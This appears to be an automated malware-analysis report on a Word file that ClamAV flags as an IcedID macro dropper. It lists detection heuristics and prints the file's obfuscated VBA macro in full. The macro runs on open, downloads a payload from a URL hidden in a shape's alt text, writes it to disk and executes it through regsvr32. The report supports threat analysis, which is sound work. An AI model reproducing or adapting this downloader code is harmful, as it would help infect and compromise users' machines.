MALICIOUS
230
Risk Score
Heuristics 6
-
ClamAV: Doc.Macro.ICEID1020-9781212-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.ICEID1020-9781212-0
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set OxaRs = CreateObject("Script" + RQkzz) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 11923 bytes |
SHA-256: a971e6039a62573c8e7639e65bc8e5e7a08ca668b2e322f228a55ed7cbce68f9 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Fruhp"
Sub XjeMW(FNbvP, Optional ByVal UEJlT As String = "c:\programdata\WLOTG.txt", Optional ByVal RQkzz As String = "ing.FileSystemObject")
' Blinding girths lottery unwedded umpteen chicken
' Initiate spin
' Pattering discipline whiff stroking
' Dressed subduction
' Braze altruistically glazed cadges
' Reappraised nannies fort unsent
' Heaves description fetlock
' Saturday agleam
' Praiseworthy
' Perchlorate hansom commutes
' Wariest heritage senegal keeled daggers
' Streptomycin snouts hunkers
' Edison ferociousness antidepressants telegrams
' Extrication infertile riled
' Mary teacloth agrochemical slings polo recidivists
' Players
' Borrower disharmony detonate
Set OxaRs = CreateObject("Script" + RQkzz)
' Valueformoney ulceration prompted fellowship
' Splendours ingesting registrable
' Censorship leguminous narcissistic rationalists synchronises
' Bacteriological cormorant motion microscopically socrates grizzly
' Carotene sickroom commonlaw
' Telescope
' Inconsolable earful
Set AYZBd = OxaRs.CreateTextFile(UEJlT)
' Ante concocting
' Ladder composite
' Grinded merely sponginess existentialistic dalliance reconfigurations kindness
' Rarefactions paludal merchants evaluations
' Minors ulcerous traditionally denied
AYZBd.WriteLine FNbvP
' Mobilities placer requested
' Retina voicings tax
' Stylishly socialisation funereal shortlived
' Diffusional infeasibility
AYZBd.Close
' Tremulousness
' Hesitate agitatedly
' Tying civies soweto paragraphing
' Incinerators aurora biotechnology bloodthirsty
' Horoscopes encouragement covalent perpetrate
' Hedonism
' Obstructively ceaselessly seasonably
' Fashioned husky
' Assertively crossroads spreads
' Dosing gauche wherewith cancelled roller
' Processions crackled fetch
' Prescriptivist processions banish abject
' Casualties metabolic rhetoricians dine
' Seashells interdenominational
' Henge unluckily
' Evildoer scalped development
' Several spacing ethnical default
' Perversity khalif hirsute scourging suspended
' Macroscopic stank
' Modernists octopus abbey
' Kilowatt reigns curbed
' Sexiness recruits dim strategies
' Blanket stateliest invariance substitution
' Dolls maladaptive spews calculates peremptorily
' Remount dressage
' Technique immodest cabby
' Bubbles volunteering collapsed loser breakfast
' Surfacer assails upturn differently
' Dilate
' Captors encroaching specifiable wavings
' Cisterns afforded
' Experiencing condescension curlier relentlessly romanticism hitherto
' Weasel semantically
' Vagabond constructions enjoin goth
' Nieces biotic
' Allegiances
' Futility auctioning faxes maximise
' Boastful
' Slenderness
' Finders swallows
End Sub
' Spellers phew eagerly
' Rheumatoid warty vaunted hammering
' Graphite suburbanites alphabetical prestidigitation decoy
' Paramilitary debt flimsier wellplaced stitch
Sub AutoOpen()
' Twiddler
' Lava perusal cheerful overwritten
' Distributor
' Newest
' Snorkel
' Impudent hundredths dermic
' Prebend consanguineous quiveringly
' Gibbets
' Stodgier plywood decorators catcher cavitation
' Perpetrate throbbing
' Policing nears earns deathly elapses
' Doings episodes tragic debris yuppie darn storing
' Retries yells jilt
' Whirlpool
' Tiger exhibit unimaginably occupations
' Freeforall fibrous leaked ramping
' Relieved commas church curves
' Unenlightening naturist specialised
' Brown pluralised taught downpipe creaky
' Weightless proletarian contrition
' Cithers amphibians indecisively
' Refutations compellingly pandemonium
' Inundation basin keystroke makeweight smiting quizzed
' Product
' Cotton respirator hydrological battening
Dim pklAj As New dJlJU
' Interleaves visit
' Patchable appear unreasoned
' Peeler deliberating recede dryness changing naturist
' Clique berry rhino
' Predator chimes straggly
' Lookingglass deconstructive plunges
FNbvP = pklAj.GkFoG("MSXML2.serverXMLHTTP")
' Indictment factions
' Ogled islamic pedal
' Pungency trapdoors seismologist revisiting hilts conspirators
' Skyline dramaturgical
' Sand fragmentation commonsense snuffled canonise
XjeMW FOAjD(FNbvP)
' Dabbing lame calibrator freshened
' Compensatory unrelieved tiptoed
' Videotaping frequenting fondest
' Witticisms flavour cauterise
' Revisable transact armfuls unevaluated grandma penury
' Quench ponies
' Closeup steam amphibious reinstall
' Mixed shadow covetousness revs forger eulogises linkups
' Navvies rusks decriminalise resuscitation
' Provisional obtainable carts naturalism
' Dimmest proceedings oliver
' Stentorian depriving
zLaBv fKIJJ(0) + "vr32 c:\programdata\WLOTG.txt", "ws"
End Sub
Function pBZZI(dEZVf, FxhqI)
' Cryptically laments
' Scarcer planking
' Microbiologist scrumhalf shirk unawakened
' Tallied formalin watchman inquirer
pBZZI = Split(dEZVf, FxhqI)
End Function
Attribute VB_Name = "yHGAQ"
' Coached lode polder provokes fullscale
' Interconnecting derail vandalism gaiter equipments
' Freeholders loins
' Trait subdued mood scraps avengers
Function FOAjD(LqNkw)
' Eskimo cohabitees episodically
' Aired euphemisms
' Flans expectorated pate comedy utopian sophistry silks
' Winkle wording
' Decommission
' Courtroom bollard artery
FOAjD = StrConv(LqNkw, vbUnicode)
' Aerobics prolongs analysers photons pieced
' Seeks staged
' Stiller solids anachronistically
' Grout
' Delible stifle twin translucent debaser culminates
' Odiously detention
End Function
' Pirouettes curtained prettier uvula
' Side dollop elixirs
' Relaxations will limpets wharfs extendible
' Mowers militiaman rangers grace
' Branched unanticipated
' Slimmed disinherit
Function FZTZa()
' Smirks outweigh
' Consigns secondment bantering untended
' Sumptuously misguidedly callus vaulting certificate
' Seasonable detracted sheiks races decoy
' Spies ladybug annoyed epidemiologists mary
' Retrofitted caviars mouldering
' Elite bookish hardliners
' Baggier
' Stretched tensor composer
With ActiveDocument.shapes(1)
FZTZa = .AlternativeText
End With
End Function
' Treading rainwater belching potentiality
' Shampooing reforestation interrogations
' Suede oddments trustees suasion banished titling
' Lipped atomically electromagnet choirboys hog weanling
' Gamesmanship his bastion metrication gleam
' Archives endorsements
' Antagonistic geographer
Function fKIJJ(fuorO)
' Claim mellowing cutback conceptual
' Unproved pokerfaced headier imagining
' Sweating
' Repairs electrolytic chronologies
' Mistrusting festers functionalist
' Temperamental namedropping lampoon
' Misplacement awakening benefit
' Daemon immediate bucked rapiers
' Asphyxiate rye colloquial enneads
' Skimp trend
' Prevail figurine menthol quarters substitutable profiling
' Disdainfully pouring
cpSIb = FZTZa()
onCNg = pBZZI(cpSIb, "###")
OZpBn = onCNg(fuorO)
fKIJJ = OZpBn
End Function
Attribute VB_Name = "dJlJU"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Reverse(Text)
Dim i As Integer
Dim StrNew As String
Dim strOld As String
strOld = Trim(Text)
For i = 1 To Len(strOld)
StrNew = Mid(strOld, i, 1) & StrNew
Next i
Reverse = StrNew
End Function
' Integrable homogeneous icepicks overcomes communicates assembled polder
' Loophole untouchable tribalism
' Neutrals fans
' Prolapsed synodic chested
' Flames interconversion
' Meet
Function GkFoG(CSGci)
' Tinned spirals hypermarket
' Bowdlerising indiscriminately unison scanner spaces endlessly babe
' Jell lip twiddles
' Misinterpretation crafts rascal fags
Dim LUkLc As Object
' Advisability surefooted
' Kitchenware haggard
' Ledges punchbowl disband crowbar interned
' Espresso frijole
' Denudation
' Entreatingly dumfound vamped abominably irresponsibly
' Disposables
' Lymphoid dynasty
' Woodenly conduction intend enlisting
Set LUkLc = CreateObject(CSGci)
' Chainsaw overact resourced
' Adoption
' Racy unlined
' Osteoarthritis extracting
' Lobbyist saucier powders
' Harpsichords undercarriage despite
' Crystallography traces flexibility seated tribalism reorientation
' Exclusiveness epidemiologists leptons geochemical
' Addictions solve proliferates taking
' Polytheistic townscapes contaminant
' Slaps revolvers
' Jerseys inaccessibility bitch ornithological
' Overpass interferon genders adjudicate
' Trustfully unbelieving atomised shotguns
' Quadratically embodying winker baptism
' Fosters buzzards
' Unashamed scavenger
' Alkalise
' Reptiles officialdom surreptitious monographs vacuity presences seances
' Globule
' Reshuffling homicides contests
' Black care fearsomely
' Hopelessness
' Undue hiss antitrust sifting
' Unaccountably maximisation
' Expenditures
QwfuU = fKIJJ(1)
' Selfevident lightly
' Thick sheaf
' Urbanisation homonyms
' Boon symposia jubilees troika
' Worm platoon
' Functional officiousness multiplexed charismas interacted
LUkLc.Open "GET", Reverse(QwfuU), False
' Chapter unweighted incinerate
' Rulebooks
' Spectrograph bronco
' Uranus minimises booths enlarge
' Finalise plums purveyor septic scheduled
' Strivings boudoirs leniently equity dyers
LUkLc.Send
' Enveloper
' Villagers anonymous versatile
' Wagtails
' Industrialise rejoins organise
GkFoG = LUkLc.responsebody
End Function
Attribute VB_Name = "blYVC"
Sub zLaBv(wgxEA, MkTpw)
' Patronising unnatural hepatic
' Communion comprehensives ceremonial liberally
' Eliciting torment glutton
' Quantify loitered generalists
Set ceQvO = CreateObject(MkTpw + "cript.shell")
' Holing solidify weaknesses harpoons hyssop opalescent
' Westernisation entrant minicab prefabrication
' Unbend pendulum
' Intentionality coalesces bloodsuckers
' Unattributed confessed reconciles
' Merges errands belittles reeking dishevelled
' Turncoat unkindest disrepair replacing booms fitful shoddily energised
' Woolliness sodded
' Bidder duration plotted
' Polymorphisms preps supposes
' Interims
' Overextended snouts blot terminal
' Notching rhodium sailed
' Gloss pianissimo gagster
' Menacing reconciling laugh stoa persuading quantifying
' Appeasement wharfs joyriders
' Pacification psychically grape
' Footrest fangs
' Texture correlate lineouts
' Weightily clapped
' Unpredicted interfaces ignore housebuyers champagnes nomenclatures localised
' Freelancers
' Leafier fluvial impartial
' Emancipation exists haggler torches
' Bushmen cosmic
' Entrepreneurship cirrhotic bypassing reiteration
' Healthiness grossly dilapidation
' Militant antilope romantics quotidian
' Vagabond hedonist warps totter cosines
' Duckpond cedars archetype
' Buggering
' Belles
' Disperses malaysia anthropometric evacuated
' Massacred dyestuffs wavelength
' Ran holster godmothers cumulus broadsword
' Pompously billion trifler waggoners tiler richly
' Showrooms microorganism billionth numbs chevron fundamental
' Confidantes discredit
' Dysfunction
' Horsewhip digs underloaded gormless
' Requital parasites
' Deficient tenon occlusion vanishingly indecision
' Crawling dingle
' Understatement garbs pupillage
ceQvO.exec wgxEA
' Expires disapproved airplay takeable victims abbey
' Viola exceedingly making orthodontist
' Catchers unbranded proportionately liquidise shivering outmost
' Practises
' Misbehaviour savannah ignoramus
' Azimuth
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 44544 bytes |
SHA-256: 4c0125d3d9a143361f5c4f84054b76469ec74e3f8e30c2aac3b1d1b737307b98 |
|||
|
Detection
ClamAV:
Doc.Macro.ICEID1020-9781212-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.